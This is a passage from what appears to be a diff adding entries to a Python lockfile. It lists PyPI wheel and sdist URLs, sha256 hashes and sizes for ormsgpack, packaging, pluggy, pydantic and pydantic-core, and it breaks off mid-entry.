"https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "26.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, + { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, + { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, + { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, + { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, + { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, + { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, + { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, + { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, + { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, + { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, + { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, + { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, + { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" }, + { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" }, + { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" }, + { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" }, + { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" }, + { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = 